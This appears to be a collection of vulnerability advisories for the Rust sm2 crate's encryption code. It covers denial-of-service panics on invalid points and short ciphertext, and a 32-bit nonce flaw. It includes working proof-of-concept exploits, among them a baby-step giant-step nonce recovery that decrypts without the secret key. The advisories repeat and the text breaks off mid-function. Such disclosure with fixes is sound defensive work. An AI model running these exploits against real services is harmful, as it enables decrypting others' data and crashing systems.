  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
